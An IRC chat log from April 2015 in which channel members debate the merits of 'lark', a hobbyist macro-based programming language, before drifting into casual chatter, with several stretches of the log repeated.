[2015-04-10T13:41:01-0400] <JacobEdelman> also
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[2015-04-10T13:32:30-0400] <JacobEdelman> its just like any lisp
[2015-04-10T13:33:20-0400] <JacobEdelman> basicly, it will treat your syntax as a grammar, than compile to an ast, and all of those macros you made just become lisp-esque functions 
[2015-04-10T13:34:00-0400] <JacobEdelman> it could compile down to lambda calculus in a fairly trivial manner
[2015-04-10T13:34:17-0400] <JacobEdelman> or, if I do what I'm strongly considering, typed lambda calculus
[2015-04-10T13:34:53-0400] <JacobEdelman> (typign was not something I could do in the ugly horrible proof of concept I made but extends very natrually from using an actual parser)
[2015-04-10T13:35:27-0400] <JacobEdelman> *basicly, it will treat your macros as a grammar
[2015-04-10T13:35:46-0400] <JacobEdelman> its basicly aknowledging the fact that macros and lambda functions are the same thing
[2015-04-10T13:35:50-0400] <jwoglom> JacobEdelman: that's some fugly code :P
[2015-04-10T13:35:55-0400] <JacobEdelman> jwoglom: yes, yes it is
[2015-04-10T13:36:01-0400] <JacobEdelman> the actual language on the other hand
[2015-04-10T13:36:03-0400] <JacobEdelman> is amazing
[2015-04-10T13:36:23-0400] <+awe> jwoglom: everything written in his language will look fugly.
[2015-04-10T13:36:23-0400] <JacobEdelman> awe:?
[2015-04-10T13:36:30-0400] <JacobEdelman> no, no it won't
[2015-04-10T13:36:44-0400] <JacobEdelman> it can be made to look horrible, since the grammar is mutable
[2015-04-10T13:37:09-0400] <JacobEdelman> but you can't over ride previous macros
[2015-04-10T13:37:10-0400] <+awe> Well, I mean, you're the only person who will write in it.
[2015-04-10T13:37:13-0400] <+awe> Therefore, it has to look horrible.
[2015-04-10T13:37:21-0400] <JacobEdelman> nah, ben said he would try it out
[2015-04-10T13:37:34-0400] <JacobEdelman> (he said that about a year ago but heh, I'll still hold him to his word)
[2015-04-10T13:37:56-0400] <+awe> But seriously, there's nothing that's a good idea about this.
[2015-04-10T13:37:59-0400] <JacobEdelman> ...
[2015-04-10T13:38:03-0400] <+awe> It doesn't matter how "natural" it is to implement the language.
[2015-04-10T13:38:16-0400] <JacobEdelman> its not just the implementation
[2015-04-10T13:38:34-0400] <JacobEdelman> its that the basic implementation implies many many advanced and powerful features
[2015-04-10T13:38:44-0400] <+awe> Your language is going to basically be an individual language per project that uses it.
[2015-04-10T13:38:49-0400] <JacobEdelman> nah
[2015-04-10T13:38:52-0400] <+awe> Yes.
[2015-04-10T13:38:56-0400] <JacobEdelman> ideally you wouldn't want to make your own lang
[2015-04-10T13:39:03-0400] <JacobEdelman> so you'd import some modules like
[2015-04-10T13:39:07-0400] <+awe> But that's the whole _point_ of your language.
[2015-04-10T13:39:11-0400] <+awe> That you can make your own language.
[2015-04-10T13:39:13-0400] <JacobEdelman> *ignore the like
[2015-04-10T13:39:17-0400] <JacobEdelman> awe: you _can_
[2015-04-10T13:39:21-0400] <JacobEdelman> but you wouldn't want too
[2015-04-10T13:39:27-0400] <+awe> Then there's no reason to use your language!
[2015-04-10T13:39:30-0400] <JacobEdelman> thats not the whole point
[2015-04-10T13:39:37-0400] <JacobEdelman> you can add features
[2015-04-10T13:39:41-0400] <JacobEdelman> which is definitely a big plus
[2015-04-10T13:39:45-0400] <JacobEdelman> that depend on the grammar
[2015-04-10T13:39:48-0400] <JacobEdelman> and that you may want to
[2015-04-10T13:40:06-0400] <JacobEdelman> but too me a significant part of the point is the sheer power of the language
[2015-04-10T13:41:01-0400] <JacobEdelman> also
[2015-04-10T13:41:15-0400] <JacobEdelman> one of the key things about my language is aknowledging the functions are just restricted macros
[2015-04-10T13:41:23-0400] <JacobEdelman> (and variables too)
[2015-04-10T13:41:42-0400] <JacobEdelman> people can make badly named functions that are ugly in their actual implementation
[2015-04-10T13:41:53-0400] <JacobEdelman> allowing them to write bad code in _any language_
[2015-04-10T13:42:21-0400] <JacobEdelman> lark is giving the programmer more control over what they can do
[2015-04-10T13:42:36-0400] <JacobEdelman> thats all
[2015-04-10T13:42:59-0400] <JacobEdelman> if you're good at writing code than you're code will look more beutiful
[2015-04-10T13:43:39-0400] Mode is +nt
[2015-04-10T13:44:43-0400] <+awe> JacobEdelman: and how many programmers do you know that _want_ to write everything as a macro?
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[2015-04-10T13:45:49-0400] <JacobEdelman> awe: its not like writing everything as a macro
[2015-04-10T13:45:50-0400] <JacobEdelman> does
[2015-04-10T13:45:59-0400] <JacobEdelman> fib 0 = 1
[2015-04-10T13:46:01-0400] <JacobEdelman> fib 1 = 1
[2015-04-10T13:46:24-0400] <+awe> I receive no benefit from functions being defined with a macro.
[2015-04-10T13:46:28-0400] <+awe> It doesn't help me do anything.
[2015-04-10T13:46:29-0400] <JacobEdelman> fib $x = fib($x-1) + fib($x-2)
[2015-04-10T13:46:33-0400] <JacobEdelman> look like a macro?
[2015-04-10T13:46:45-0400] <JacobEdelman> what if you wanted list comprehensions?
[2015-04-10T13:46:46-0400] <+awe> There's no such thing as "looking like a macro"
[2015-04-10T13:46:48-0400] <+awe> That depends on the language.
[2015-04-10T13:47:06-0400] <+awe> I'd use a language that has list comprehensions if that was important to me.
[2015-04-10T13:47:25-0400] <+awe> I wouldn't choose to write my project in some language that's solution is "JUST ADD EVERYTHING INTO THIS LANGUAGE BECAUSE IT'S ALL MACROS WEEEEE"
[2015-04-10T13:47:28-0400] <JacobEdelman> [$y for $x in $a] = map(\$x.$y,$a)
[2015-04-10T13:47:44-0400] <JacobEdelman> but why have so many languages?
[2015-04-10T13:47:55-0400] <JacobEdelman> just important list comprehnsions into lark
[2015-04-10T13:47:58-0400] <JacobEdelman> or write that one line
[2015-04-10T13:48:35-0400] <+awe> Because a language where you can import or write new language features is a language where no project will ever look the same.
[2015-04-10T13:48:43-0400] <JacobEdelman> no....
[2015-04-10T13:48:44-0400] <+awe> And in many cases, will look vastly different.
[2015-04-10T13:48:52-0400] <JacobEdelman> most projects only have a few speciail purpose functions
[2015-04-10T13:49:03-0400] <JacobEdelman> and if they need general more powerful functions they import them
[2015-04-10T13:49:49-0400] <+awe> say there's a module python.list_comps with [$y for $x in $a] = map(\$x.$y,$a), and haskell.list_comps with some definition that looks like Haskell.
[2015-04-10T13:50:00-0400] <JacobEdelman> yeah, if you want that
[2015-04-10T13:50:02-0400] <+awe> Now you have to know two different potential syntaxes for the same exact thing.
[2015-04-10T13:50:12-0400] <+awe> Because one of your teammates likes Haskell syntax and the other likes Python.
[2015-04-10T13:50:14-0400] <JacobEdelman> although I'd expect people to choose one
[2015-04-10T13:50:25-0400] <JacobEdelman> eh, if one person likes lodash vs underscore?
[2015-04-10T13:50:33-0400] <JacobEdelman> (both javascript functional lbraries
[2015-04-10T13:50:48-0400] <+awe> It starts an argument about the choice.
[2015-04-10T13:51:02-0400] <+awe> But your language does that with _SYNTAX_.
[2015-04-10T13:51:08-0400] <+awe> It makes people fight over which _SYNTAX_ they're going to use.
[2015-04-10T13:53:10-0400] <+awe> And then imagine projects that are separate? It's bad enough that if you depended on two projects that use lodash and underscore respectively that you'd have to have both as dependencies.
[2015-04-10T13:53:25-0400] <+awe> Now, you'll depend on sets of syntax.
[2015-04-10T13:53:42-0400] <+awe> And if you wanted to go contribute to that library you depend on, you have to learn the syntax of the project.
[2015-04-10T13:54:04-0400] <+awe> You have to find out that they made assignment := and use = as comparison.
[2015-04-10T13:54:24-0400] <+awe> And that they use the mathematical notation for list comprehensions.
[2015-04-10T13:54:32-0400] <+awe> You're not solving anyone's problem.
[2015-04-10T13:54:44-0400] <+awe> You're making an entirely new problem that nobody but you ever wanted to have in the first place.
[2015-04-10T13:55:14-0400] <JacobEdelman> the exact same thing is true about functional programming languages
[2015-04-10T13:55:46-0400] <JacobEdelman> also, basic things like assignment and comparision to be builtin, just like basic functions are built into most languages
[2015-04-10T13:55:48-0400] <+awe> And if your proposed solution is that everything will unify under one syntax for the most part: there's no reason for any of that to be implemented as a macro.
[2015-04-10T13:57:04-0400] <+awe> If all of that is built-in, there's no reason for it to be a macro.
[2015-04-10T13:58:27-0400] <JacobEdelman> then theres no reason
[2015-04-10T13:58:42-0400] <+awe> And no, functional languages don't let you import syntax or have arguments over which syntax you should include in your library.
[2015-04-10T14:00:37-0400] <JacobEdelman> *then theres no reason to allow definition of new functions in languages
[2015-04-10T14:00:48-0400] <JacobEdelman> if you expect most functions that are used to be standerdised
[2015-04-10T14:00:55-0400] <+awe> Most functions that are used are not standardized.
[2015-04-10T14:00:59-0400] <JacobEdelman> yes
[2015-04-10T14:01:00-0400] <JacobEdelman> addition
[2015-04-10T14:01:04-0400] <JacobEdelman> list concatentation
[2015-04-10T14:01:04-0400] <+awe> Is not most functions.
[2015-04-10T14:01:11-0400] <JacobEdelman> you use the
[2015-04-10T14:01:14-0400] <JacobEdelman> *them
[2015-04-10T14:01:15-0400] <+awe> And guess what: in a lot of languages, those things are built in.
[2015-04-10T14:01:21-0400] <JacobEdelman> yes
[2015-04-10T14:01:26-0400] <+awe> And not implemented as macros.
[2015-04-10T14:01:30-0400] <JacobEdelman> but you can redefine your own versions if you want too
[2015-04-10T14:01:50-0400] <JacobEdelman> of course lark will come with bultin lists and addition
[2015-04-10T14:02:15-0400] <+awe> A very small subset of functions are standardized. Most projects consist of collections of unique functions for the task at hand.
[2015-04-10T14:02:31-0400] <+awe> However, the vast majority of syntax, you're apparently planning on making built-in.
[2015-04-10T14:02:34-0400] <JacobEdelman> yeah, unique specific functions
[2015-04-10T14:02:44-0400] <JacobEdelman> so, you won't be redefining basic elements of syntax
[2015-04-10T14:02:59-0400] <JacobEdelman> and chances are the traditional function syntax will work well for you in defining functions
[2015-04-10T14:03:10-0400] <+awe> Then, I don't see a point in "hurr, mutable syntax"
[2015-04-10T14:03:26-0400] <+awe> If the vast majority of users will never use it, your language is pointless.
[2015-04-10T14:03:37-0400] <JacobEdelman> well, the beauty of the language implementation for one thing
[2015-04-10T14:03:39-0400] <+awe> You're, again, designing a language around a need that isn't had.
[2015-04-10T14:03:45-0400] <JacobEdelman> and say you wanted to add in promises
[2015-04-10T14:03:51-0400] <+awe> Nobody cares about the "beauty" of the language implementation.
[2015-04-10T14:03:57-0400] <JacobEdelman> and you wanted to have speciail syntax for those promises
[2015-04-10T14:04:03-0400] <JacobEdelman> so you write a promises library
[2015-04-10T14:04:07-0400] <+awe> If that was a selling point for languages, we'd all use Scheme.
[2015-04-10T14:04:09-0400] <+awe> But it's not.
[2015-04-10T14:04:18-0400] <+awe> We want languages where we can _do_ things.
[2015-04-10T14:04:26-0400] <JacobEdelman> so, you can_do_ things
[2015-04-10T14:04:27-0400] <+awe> Not languages that have small, neat implementations.
[2015-04-10T14:04:33-0400] <JacobEdelman> and you can do them beautifly
[2015-04-10T14:04:50-0400] <+awe> You haven't demonstrated that at all.
[2015-04-10T14:04:52-0400] <JacobEdelman> say I wanted to add promises in the following manner
[2015-04-10T14:05:08-0400] <JacobEdelman> actually 
[2015-04-10T14:05:10-0400] <JacobEdelman> don't say that
[2015-04-10T14:05:16-0400] <JacobEdelman> I don't understand promises at all
[2015-04-10T14:05:51-0400] <JacobEdelman> hmm..... say I wanted to add callbacks
[2015-04-10T14:06:00-0400] <JacobEdelman> but I hated the ugly js style way of doing it
[2015-04-10T14:06:02-0400] <JacobEdelman> so I implement
[2015-04-10T14:06:12-0400] <JacobEdelman> f(x) => g
[2015-04-10T14:06:14-0400] <JacobEdelman> as being
[2015-04-10T14:06:19-0400] <JacobEdelman> f(x,callback=g)
[2015-04-10T14:06:26-0400] <JacobEdelman> and
[2015-04-10T14:06:46-0400] <+awe> Is this language going to compile natively?
[2015-04-10T14:06:46-0400] <JacobEdelman> (let f(x) = y) <= g
[2015-04-10T14:06:58-0400] <JacobEdelman> it could
[2015-04-10T14:07:05-0400] <JacobEdelman> it can compile down to lambda calculus
[2015-04-10T14:07:15-0400] <JacobEdelman> so I might just make it go from that to haskell or something
[2015-04-10T14:07:23-0400] <JacobEdelman> *typed lambda calculus possibly
[2015-04-10T14:07:24-0400] <+awe> What?
[2015-04-10T14:07:28-0400] <+awe> That didn't make any sense.
[2015-04-10T14:07:39-0400] <JacobEdelman> ?
[2015-04-10T14:07:43-0400] <+awe> You can't compile from lambda calculus to Haskell.
[2015-04-10T14:08:23-0400] <JacobEdelman> implement lambda calculus in haskell is one way...
[2015-04-10T14:08:33-0400] <JacobEdelman> but that might not be nice
[2015-04-10T14:08:42-0400] <+awe> Yes, we should clearly add more layers of indirection.
[2015-04-10T14:08:45-0400] <JacobEdelman> maybe I'll compile down to System-F
[2015-04-10T14:09:06-0400] <+awe> It's not enough that the entire language is macros.
[2015-04-10T14:09:15-0400] <JacobEdelman> wait, thats one more layer than haskell even fi I compile directly to haskel
[2015-04-10T14:09:43-0400] <+awe> Yes, I don't know why you would implement a language that compiles to another language that isn't intentionally an intermediary form.
[2015-04-10T14:10:04-0400] <JacobEdelman> heck, I can compile to any functional language really since most of them are super sets of lambda calculus
[2015-04-10T14:10:24-0400] <+awe> But the moment you do something like compiling it down to GHC Core or LLIR or .NET IL, your language implementation is no longer "beautiful."
[2015-04-10T14:10:34-0400] <JacobEdelman> nah
[2015-04-10T14:10:43-0400] <+awe> Yes.
[2015-04-10T14:10:46-0400] <JacobEdelman> the main implenetation is beautiful
[2015-04-10T14:10:59-0400] <JacobEdelman> the ugly part is how it executes and deals with the lambda caclulus once it gets it
[2015-04-10T14:11:02-0400] <JacobEdelman> :)
[2015-04-10T14:11:09-0400] <+awe> Which is going to be most of the language, you twit.
[2015-04-10T14:11:37-0400] <+awe> You're basically saying "my implementation of a useless macro engine is so beautiful."
[2015-04-10T14:12:01-0400] <+awe> It's not a programming language unless it can execute, and that part is going to be the bulk of the work, and it's not going to be "beautiful."
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[2015-04-10T14:13:04-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-10T14:03:45-0400] <JacobEdelman> and say you wanted to add in promises
[2015-04-10T14:03:51-0400] <+awe> Nobody cares about the "beauty" of the language implementation.
[2015-04-10T14:03:57-0400] <JacobEdelman> and you wanted to have speciail syntax for those promises
[2015-04-10T14:04:03-0400] <JacobEdelman> so you write a promises library
[2015-04-10T14:04:07-0400] <+awe> If that was a selling point for languages, we'd all use Scheme.
[2015-04-10T14:04:09-0400] <+awe> But it's not.
[2015-04-10T14:04:20-0400] <+awe> We want languages where we can _do_ things.
[2015-04-10T14:04:27-0400] <JacobEdelman> so, you can_do_ things
[2015-04-10T14:04:27-0400] <+awe> Not languages that have small, neat implementations.
[2015-04-10T14:04:33-0400] <JacobEdelman> and you can do them beautifly
[2015-04-10T14:04:51-0400] <+awe> You haven't demonstrated that at all.
[2015-04-10T14:04:52-0400] <JacobEdelman> say I wanted to add promises in the following manner
[2015-04-10T14:05:09-0400] <JacobEdelman> actually 
[2015-04-10T14:05:10-0400] <JacobEdelman> don't say that
[2015-04-10T14:05:17-0400] <JacobEdelman> I don't understand promises at all
[2015-04-10T14:05:51-0400] <JacobEdelman> hmm..... say I wanted to add callbacks
[2015-04-10T14:06:01-0400] <JacobEdelman> but I hated the ugly js style way of doing it
[2015-04-10T14:06:03-0400] <JacobEdelman> so I implement
[2015-04-10T14:06:13-0400] <JacobEdelman> f(x) => g
[2015-04-10T14:06:14-0400] <JacobEdelman> as being
[2015-04-10T14:06:19-0400] <JacobEdelman> f(x,callback=g)
[2015-04-10T14:06:27-0400] <JacobEdelman> and
[2015-04-10T14:06:46-0400] <+awe> Is this language going to compile natively?
[2015-04-10T14:06:47-0400] <JacobEdelman> (let f(x) = y) <= g
[2015-04-10T14:06:59-0400] <JacobEdelman> it could
[2015-04-10T14:07:06-0400] <JacobEdelman> it can compile down to lambda calculus
[2015-04-10T14:07:15-0400] <JacobEdelman> so I might just make it go from that to haskell or something
[2015-04-10T14:07:23-0400] <JacobEdelman> *typed lambda calculus possibly
[2015-04-10T14:07:25-0400] <+awe> What?
[2015-04-10T14:07:28-0400] <+awe> That didn't make any sense.
[2015-04-10T14:07:40-0400] <JacobEdelman> ?
[2015-04-10T14:07:43-0400] <+awe> You can't compile from lambda calculus to Haskell.
[2015-04-10T14:08:23-0400] <JacobEdelman> implement lambda calculus in haskell is one way...
[2015-04-10T14:08:33-0400] <JacobEdelman> but that might not be nice
[2015-04-10T14:08:42-0400] <+awe> Yes, we should clearly add more layers of indirection.
[2015-04-10T14:08:45-0400] <JacobEdelman> maybe I'll compile down to System-F
[2015-04-10T14:09:06-0400] <+awe> It's not enough that the entire language is macros.
[2015-04-10T14:09:16-0400] <JacobEdelman> wait, thats one more layer than haskell even fi I compile directly to haskel
[2015-04-10T14:09:43-0400] <+awe> Yes, I don't know why you would implement a language that compiles to another language that isn't intentionally an intermediary form.
[2015-04-10T14:10:05-0400] <JacobEdelman> heck, I can compile to any functional language really since most of them are super sets of lambda calculus
[2015-04-10T14:10:25-0400] <+awe> But the moment you do something like compiling it down to GHC Core or LLIR or .NET IL, your language implementation is no longer "beautiful."
[2015-04-10T14:10:34-0400] <JacobEdelman> nah
[2015-04-10T14:10:43-0400] <+awe> Yes.
[2015-04-10T14:10:47-0400] <JacobEdelman> the main implenetation is beautiful
[2015-04-10T14:11:00-0400] <JacobEdelman> the ugly part is how it executes and deals with the lambda caclulus once it gets it
[2015-04-10T14:11:03-0400] <JacobEdelman> :)
[2015-04-10T14:11:10-0400] <+awe> Which is going to be most of the language, you twit.
[2015-04-10T14:11:38-0400] <+awe> You're basically saying "my implementation of a useless macro engine is so beautiful."
[2015-04-10T14:12:01-0400] <+awe> It's not a programming language unless it can execute, and that part is going to be the bulk of the work, and it's not going to be "beautiful."
[2015-04-10T14:13:01-0400] <JacobEdelman> nah
[2015-04-10T14:13:05-0400] Mode is +nt
[2015-04-10T14:13:07-0400] <JacobEdelman> its way more powerful then a macro engine
[2015-04-10T14:13:10-0400] <+awe> No, it's not.
[2015-04-10T14:13:12-0400] <+awe> It's literally a macro engine.
[2015-04-10T14:13:15-0400] <JacobEdelman> and fine, I can make it execute
[2015-04-10T14:13:32-0400] <JacobEdelman> if I wanted too
[2015-04-10T14:13:33-0400] <+awe> There's no real difference between your language and something like m4.
[2015-04-10T14:13:39-0400] <JacobEdelman> but I really don't care about that
[2015-04-10T14:13:39-0400] <JacobEdelman> m4?
[2015-04-10T14:13:44-0400] <+awe> It's a macro language.
[2015-04-10T14:14:01-0400] <JacobEdelman> I strongly doubt its as powerful as my language
[2015-04-10T14:14:23-0400] <+awe> https://en.wikipedia.org/wiki/M4_(computer_language)#Features
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[2015-04-10T18:10:27-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-10T14:13:13-0400] <+awe> It's literally a macro engine.
[2015-04-10T14:13:16-0400] <JacobEdelman> and fine, I can make it execute
[2015-04-10T14:13:33-0400] <JacobEdelman> if I wanted too
[2015-04-10T14:13:34-0400] <+awe> There's no real difference between your language and something like m4.
[2015-04-10T14:13:38-0400] <JacobEdelman> but I really don't care about that
[2015-04-10T14:13:40-0400] <JacobEdelman> m4?
[2015-04-10T14:13:46-0400] <+awe> It's a macro language.
[2015-04-10T14:13:57-0400] <JacobEdelman> I strongly doubt its as powerful as my language
[2015-04-10T14:14:31-0400] <+awe> https://en.wikipedia.org/wiki/M4_(computer_language)#Features
[2015-04-10T14:17:00-0400] <JacobEdelman> yeah, nowhere near as powerful
[2015-04-10T14:17:07-0400] <JacobEdelman> what you have to understand is that if you make
[2015-04-10T14:17:15-0400] <JacobEdelman> the fib function as I mentioned above
[2015-04-10T14:17:30-0400] <JacobEdelman> then f([) won't do anything unless [ is valid syntax
[2015-04-10T14:17:57-0400] <JacobEdelman> *valid expression
[2015-04-10T14:17:59-0400] <JacobEdelman> and even then if you added typing too it(which may be mandatory) then [ would have to be a valid int too
[2015-04-10T14:47:22-0400] <grantwu> https://news.ycombinator.com/item?id=9355766
[2015-04-10T14:47:26-0400] <grantwu> Yay pfenning.
[2015-04-10T14:50:53-0400] <JacobEdelman> grantwu: ?
[2015-04-10T14:51:55-0400] <grantwu> Mraow?
[2015-04-10T14:52:58-0400] <grantwu> awe: Look it's Rust on HN!
[2015-04-10T15:28:37-0400] <z3t> ~900 lines since I afked...tf?
[2015-04-10T15:36:22-0400] <JacobEdelman> awe and I had an argument
[2015-04-10T15:37:38-0400] <JacobEdelman> well, that was actually only 225 lines it seems
[2015-04-10T15:38:15-0400] <JacobEdelman> :P
[2015-04-10T15:43:38-0400] <z3t> tl;dr of the argument?
[2015-04-10T15:49:04-0400] <JacobEdelman> lark
[2015-04-10T15:49:12-0400] <JacobEdelman> lark = the programming language I am making
[2015-04-10T15:49:16-0400] <JacobEdelman> I argued it is good
[2015-04-10T15:49:47-0400] <JacobEdelman> awe argued it is a godless aberation bent on destroying all logic with its eldiritch structure
[2015-04-10T15:49:53-0400] <JacobEdelman> I argued that that meant it was good
[2015-04-10T15:49:56-0400] <JacobEdelman> :P
[2015-04-10T16:01:06-0400] <z3t> why the name "lark" ?
[2015-04-10T16:05:47-0400] <JacobEdelman> cause its just a lark
[2015-04-10T16:06:01-0400] <JacobEdelman> it sounds nice 
[2015-04-10T16:06:19-0400] <JacobEdelman> I mean, if somebody comes up with a substaintially better one I'll adopt it
[2015-04-10T16:11:24-0400] <z3t> How about "JEIAIASITL"
[2015-04-10T16:11:49-0400] <z3t> wait i messed that up
[2015-04-10T16:12:01-0400] <z3t> "JEIAIATLS"
[2015-04-10T16:13:52-0400] <JacobEdelman> ?
[2015-04-10T16:14:00-0400] <JacobEdelman> is that an elaborate acroymy
[2015-04-10T16:15:03-0400] <z3t> (JacobEdelmanIsAnIdiotAndThisLanguageSucks)
[2015-04-10T16:41:41-0400] <Pharyngeal> I need to lengthen my scrollback, what did I miss?
[2015-04-10T16:44:12-0400] <JacobEdelman> Pharyngeal: awe and I had an argument about lark that was 900 lines long
[2015-04-10T16:44:14-0400] <JacobEdelman> *225
[2015-04-10T16:44:23-0400] <JacobEdelman> _only_ 225 longs
[2015-04-10T16:50:13-0400] <Pharyngeal> oh
[2015-04-10T16:52:56-0400] <JacobEdelman> *225 lines long
[2015-04-10T16:53:03-0400] <JacobEdelman> note: I cannot speel
[2015-04-10T17:52:18-0400] <jwoglom> ok doing weechat /upgrade let's see how this goes
[2015-04-10T17:56:44-0400] <apothy> grantwu: you're back :D
[2015-04-10T18:10:28-0400] Mode is +nt
[2015-04-10T18:13:09-0400] <+awe> Pharyngeal: the important thing is that Jacob has a bad idea and is sticking with his bad idea. :)
[2015-04-10T18:13:13-0400] <+awe> [14:52:58]  <grantwu>	awe: Look it's Rust on HN!
[2015-04-10T18:13:22-0400] <+awe> grantwu: HN is pretty trash. They've mentioned Rust a few times though.
[2015-04-10T18:13:22-0400] <Pharyngeal> Huh
[2015-04-10T18:13:38-0400] <+awe> Pharyngeal: he's basically making a language that's all macros because "it's beautiful"
[2015-04-10T18:13:53-0400] <+awe> Pharyngeal: disregarding the fact that the part that's going to actually allow it to be executed is going to be an ungodly mess.
[2015-04-10T18:14:18-0400] <+awe> Pharyngeal: and the fact that being able to extend the syntax of your programming language to add new features isn't really something anyone _desires_.
[2015-04-10T18:18:11-0400] <Pharyngeal> Ah
[2015-04-10T18:20:05-0400] <+awe> My argument is that even if it was adopted, it'd turn into messes of people with competing syntax packages writing libraries that are all different to read.
[2015-04-10T18:20:25-0400] <+awe> Like someone supports Haskell-style list comprehensions, and another person supports Python-style list comprehensions.
[2015-04-10T18:22:35-0400] <z3t> jwoglom: /upgrade never works for me
[2015-04-10T18:22:48-0400] <jwoglom> z3t: yeah it didn't work, lol
[2015-04-10T18:23:06-0400] <jwoglom> It hung, took up 100% CPU, then I ping timeouted
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[2015-04-10T18:34:19-0400] <Fill> [03:14:21pm] <+awe> Pharyngeal: and the fact that being able to extend the syntax of your programming language to add new features isn't really something anyone _desires_.
[2015-04-10T18:34:23-0400] <Fill> ^^-- this
[2015-04-10T18:34:28-0400] <Fill> soooo true
[2015-04-10T18:35:14-0400] <+awe> I really need to figure out what PL project to do in my free time.
[2015-04-10T18:35:40-0400] <Pharyngeal> I'm a moron, apparently
[2015-04-10T18:35:46-0400] <+awe> Why do you say that?
[2015-04-10T18:35:51-0400] <Pharyngeal> I forgot that scanner.nextLine() blocked in Java :S
[2015-04-10T18:36:13-0400] <Pharyngeal> So I wrote a bunch of unnecessary code
[2015-04-10T18:36:21-0400] <+awe> Ah, fair.
[2015-04-10T18:36:50-0400] <Pharyngeal> I will be working on this assignment while on shift tonight =/ I typically prefer finishing work before shifts
[2015-04-10T18:36:52-0400] <Pharyngeal> Oh well
[2015-04-10T18:50:08-0400] • awe: shrugs.
[2015-04-10T18:50:14-0400] <+awe> Hopefully you'll be fine.
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[2015-04-10T19:06:55-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-10T15:49:12-0400] <JacobEdelman> lark = the programming language I am making
[2015-04-10T15:49:16-0400] <JacobEdelman> I argued it is good
[2015-04-10T15:49:47-0400] <JacobEdelman> awe argued it is a godless aberation bent on destroying all logic with its eldiritch structure
[2015-04-10T15:49:53-0400] <JacobEdelman> I argued that that meant it was good
[2015-04-10T15:49:56-0400] <JacobEdelman> :P
[2015-04-10T16:01:06-0400] <z3t> why the name "lark" ?
[2015-04-10T16:05:47-0400] <JacobEdelman> cause its just a lark
[2015-04-10T16:06:01-0400] <JacobEdelman> it sounds nice 
[2015-04-10T16:06:19-0400] <JacobEdelman> I mean, if somebody comes up with a substaintially better one I'll adopt it
[2015-04-10T16:11:24-0400] <z3t> How about "JEIAIASITL"
[2015-04-10T16:11:49-0400] <z3t> wait i messed that up
[2015-04-10T16:12:01-0400] <z3t> "JEIAIATLS"
[2015-04-10T16:13:52-0400] <JacobEdelman> ?
[2015-04-10T16:14:00-0400] <JacobEdelman> is that an elaborate acroymy
[2015-04-10T16:15:03-0400] <z3t> (JacobEdelmanIsAnIdiotAndThisLanguageSucks)
[2015-04-10T16:41:41-0400] <Pharyngeal> I need to lengthen my scrollback, what did I miss?
[2015-04-10T16:44:12-0400] <JacobEdelman> Pharyngeal: awe and I had an argument about lark that was 900 lines long
[2015-04-10T16:44:14-0400] <JacobEdelman> *225
[2015-04-10T16:44:23-0400] <JacobEdelman> _only_ 225 longs
[2015-04-10T16:50:13-0400] <Pharyngeal> oh
[2015-04-10T16:52:56-0400] <JacobEdelman> *225 lines long
[2015-04-10T16:53:03-0400] <JacobEdelman> note: I cannot speel
[2015-04-10T17:52:18-0400] <jwoglom> ok doing weechat /upgrade let's see how this goes
[2015-04-10T17:56:44-0400] <apothy> grantwu: you're back :D
[2015-04-10T18:13:10-0400] <+awe> Pharyngeal: the important thing is that Jacob has a bad idea and is sticking with his bad idea. :)
[2015-04-10T18:13:13-0400] <+awe> [14:52:58]  <grantwu>	awe: Look it's Rust on HN!
[2015-04-10T18:13:23-0400] <+awe> grantwu: HN is pretty trash. They've mentioned Rust a few times though.
[2015-04-10T18:13:23-0400] <Pharyngeal> Huh
[2015-04-10T18:13:38-0400] <+awe> Pharyngeal: he's basically making a language that's all macros because "it's beautiful"
[2015-04-10T18:13:53-0400] <+awe> Pharyngeal: disregarding the fact that the part that's going to actually allow it to be executed is going to be an ungodly mess.
[2015-04-10T18:14:19-0400] <+awe> Pharyngeal: and the fact that being able to extend the syntax of your programming language to add new features isn't really something anyone _desires_.
[2015-04-10T18:18:11-0400] <Pharyngeal> Ah
[2015-04-10T18:20:06-0400] <+awe> My argument is that even if it was adopted, it'd turn into messes of people with competing syntax packages writing libraries that are all different to read.
[2015-04-10T18:20:25-0400] <+awe> Like someone supports Haskell-style list comprehensions, and another person supports Python-style list comprehensions.
[2015-04-10T18:22:35-0400] <z3t> jwoglom: /upgrade never works for me
[2015-04-10T18:22:48-0400] <jwoglom> z3t: yeah it didn't work, lol
[2015-04-10T18:23:07-0400] <jwoglom> It hung, took up 100% CPU, then I ping timeouted
[2015-04-10T18:34:19-0400] <Fill> [03:14:21pm] <+awe> Pharyngeal: and the fact that being able to extend the syntax of your programming language to add new features isn't really something anyone _desires_.
[2015-04-10T18:34:23-0400] <Fill> ^^-- this
[2015-04-10T18:34:28-0400] <Fill> soooo true
[2015-04-10T18:35:14-0400] <+awe> I really need to figure out what PL project to do in my free time.
[2015-04-10T18:35:40-0400] <Pharyngeal> I'm a moron, apparently
[2015-04-10T18:35:47-0400] <+awe> Why do you say that?
[2015-04-10T18:35:51-0400] <Pharyngeal> I forgot that scanner.nextLine() blocked in Java :S
[2015-04-10T18:36:13-0400] <Pharyngeal> So I wrote a bunch of unnecessary code
[2015-04-10T18:36:21-0400] <+awe> Ah, fair.
[2015-04-10T18:36:51-0400] <Pharyngeal> I will be working on this assignment while on shift tonight =/ I typically prefer finishing work before shifts
[2015-04-10T18:36:52-0400] <Pharyngeal> Oh well
[2015-04-10T18:50:09-0400] • awe: shrugs.
[2015-04-10T18:50:14-0400] <+awe> Hopefully you'll be fine.
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[2015-04-10T19:08:51-0400] <LittleBobbyTables> I would totally kick Jacob.
[2015-04-10T19:08:54-0400] <LittleBobbyTables> No reason, just a kick
[2015-04-10T19:10:10-0400] raphus.pdgn.co kicked LittleBobbyTables from the channel (if you say so...)
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[2015-04-10T19:10:27-0400] <+awe> LittleBobbyTables: ayyyy. ;)
[2015-04-10T19:14:21-0400] <LittleBobbyTables> ;(
[2015-04-10T19:14:22-0400] <LittleBobbyTables> r00d
[2015-04-10T19:14:42-0400] <+awe> You asked me to!
[2015-04-10T19:19:30-0400] <LittleBobbyTables> I did not
[2015-04-10T19:19:34-0400] <jwoglom> http://www.washingtonpost.com/local/education/virginia-student-earns-admission-to-all-eight-ivy-league-schools-and-others/2015/04/10/64e46100-df0d-11e4-a500-1c5bb1d8ff6a_story.html
[2015-04-10T19:19:35-0400] <LittleBobbyTables> There was a reason!
[2015-04-10T19:19:42-0400] <jwoglom> What a TJ student
